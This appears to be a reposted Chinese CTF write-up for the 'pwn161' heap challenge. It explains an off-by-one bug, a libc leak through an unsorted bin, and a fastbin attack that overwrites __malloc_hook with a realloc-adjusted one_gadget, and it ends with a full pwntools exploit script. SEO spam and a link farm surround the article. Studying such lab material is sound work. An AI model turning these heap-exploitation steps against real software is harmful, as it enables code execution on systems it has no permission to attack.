当前位置: 首页 > wzjs >正文

asp免费网站模板扬州天达建设集团有限公司网站

asp免费网站模板,扬州天达建设集团有限公司网站,网站建设工作半年通报,住房和城乡建设部官网checksec:保护全开 64位 IDA64打开:逐个查看函数add:使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于b…

checksec:

保护全开 64位 IDA64打开:

逐个查看函数

add:

使用calloc进行申请堆,并且堆大小限制在0x1000以内 用了两个全局变量分别存储是否使用(inuse)和大小(size) qword_202048是位于bss段上的堆指针

edit:

E3A函数:

对修改大小进行了判断,如果修改大小和堆大小相差10 就允许多输入1字节,也就是存在off-by-one漏洞

del:

正常的free并且清零了堆

show:正常

所以思路是先泄露libc,利用unsorted bin泄露 再用malloc hook和one gadget打

通过off-by-one修改chunk的size位为能包含下一个chunk,然后free掉修改的堆再申请原大小,这样就能利用show打印出来堆地址了

泄露出libc后就是使用malloc_hook了,但是这题one_gadget的条件不能直接满足,所以要用realloc_hook调整栈帧

exp:

from pwn import *p = process('./pwn161')
context.log_level = 'debug'def add(size):p.sendlineafter(b"Choice: ", b'1')p.sendlineafter(b'size: ', str(size))#p.sendlineafter(b'message:\n' , message)def delete(index):p.sendlineafter(b"Choice: ", b'3')p.sendlineafter(b'index: ' , str(index))def edit(index,size, message):p.sendlineafter(b"Choice: ", b'2')p.sendlineafter(b'index: ' , str(index))p.sendlineafter(b'size: ' , str(size))p.sendlineafter(b'content: ' , message)def show(index):p.sendlineafter(b"Choice: ", b'4')p.sendlineafter(b'index: ' , str(index))elf = ELF('./pwn161')
libc = ELF('./libc-2.23-64.so')gdb.attach(p)add(0x68) #chunk0
add(0x68) #chunk1
add(0x68) #chunk2
add(0x68) #chunk3
payload = b'a' * (0x68) + p8(0xe1)  #0x68 + 0x68 + 0x10 + 0x1
edit(0, 0x68 + 10, payload)
delete(1)
add(0x68)
show(2)
p.recvuntil(b': ')
leak = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(leak))
#pause()
libc_base = leak - 0x3c4b78
malloc = libc_base + libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
one_gadget = libc_base + 0x4526a
print(hex(malloc))
#pause()add(0x68) #chunk4
pause()
edit(0, 0x68 + 10, payload) 
#pause()
delete(1)
add(0xd0) #refresh chunk1 sizepayload = b'a' * (0x68) + p64(0x71)
pause()
edit(1, len(payload), payload) #calloc会清空申请大小里的内容 恢复chunk2的size
pause()
delete(2)  edit(4, 0x8, p64(malloc - 0x23)) #fake_chunkadd(0x68) #chunk2
add(0x68) #chunk5 --fastbin attack 现在该位置为malloc-0x23payload = b'a' * (0x13 - 8) + p64(one_gadget) + p64(realloc)     #realloc->one_gadget,malloc_hook->realloc_hook
edit(5, len(payload), payload)
add(0x68)
p.interactive()


文章转载自:

http://PBZcPRU5.bfysg.cn
http://FfaXLVC5.bfysg.cn
http://x4L2AvMZ.bfysg.cn
http://SRgn1TS3.bfysg.cn
http://vH8R3oqT.bfysg.cn
http://fhUqLbHd.bfysg.cn
http://G6GpYJ6n.bfysg.cn
http://WJxVWR8U.bfysg.cn
http://fLBSCbjW.bfysg.cn
http://mEJeGLXy.bfysg.cn
http://f5TLJWw5.bfysg.cn
http://XM9qALSU.bfysg.cn
http://yodK84SP.bfysg.cn
http://j7hSULaU.bfysg.cn
http://je0igCuc.bfysg.cn
http://lVqyHj5n.bfysg.cn
http://F9G62Dch.bfysg.cn
http://FTUr0UyA.bfysg.cn
http://gorRg7Mh.bfysg.cn
http://Fh2NBg3v.bfysg.cn
http://I2EH6vcI.bfysg.cn
http://VsR62tfA.bfysg.cn
http://GK4RQtoT.bfysg.cn
http://QJTBxGiZ.bfysg.cn
http://99lh1i8m.bfysg.cn
http://2qKZMwBA.bfysg.cn
http://KfOtkfjr.bfysg.cn
http://uyI91JXN.bfysg.cn
http://Ty7HDj8X.bfysg.cn
http://szbieoLB.bfysg.cn
http://www.dtcms.com/wzjs/715790.html

相关文章:

  • 网站建设和备案深圳市工程建设网站
  • 财务网站建设网页制作与设计课本
  • 网站建设需要包含什么百度一下首页
  • 二手闲置平台网站怎么做百度推广产品
  • 郑州做营销型网站的公司网站建设全国排行
  • 摄影网站开发背景重庆做网站建设团队
  • django 做网站四川省送变电建设有限责任公司网站
  • 如何做网站结构及栏目策划江西住房和城乡建设网站
  • 做电影网站多少钱设计网站客户体验
  • js素材网站wordpress 竞价页
  • 网络公司网站asp做网站英文编辑有前途吗
  • 餐饮网站建设思路建设一个网站的目标与期望
  • 建设网站要什么手续腾讯 wordpress
  • 做网站定制开发的公司企业培训的目的和意义
  • wordpress网站变灰用手机搭建自己的网站
  • 盐步网站制作注册安全工程师继续教育网
  • 网站电子地图怎么做e想时代官方网站
  • 网站怎么做移动适配东莞建设网东莞市住房和城乡
  • 教育机构网站建设方案网站流量是什么
  • 做招标网站 如何wordpress更改注册
  • 网络公司要求做网站工商网监网络营销方式举个例子
  • 花都网站建设信科网络个人网站seo入门
  • 丰台网站建设多少钱图片网站怎样选择虚拟主机
  • 免费logo生成器官网厦门最好的seo公司
  • 北京住房和建设部网站哪个网站有做彩平的材质贴图
  • 做三方网站多少钱wordpress 调用略缩图
  • 中国设计师个人网站wordpress 菜单小工具
  • HTML5移动端手机网站开发多少钱英语怎么说
  • 制作网站软件免费搭设企业网站教程
  • 水果网站怎么做的html5 网站 代码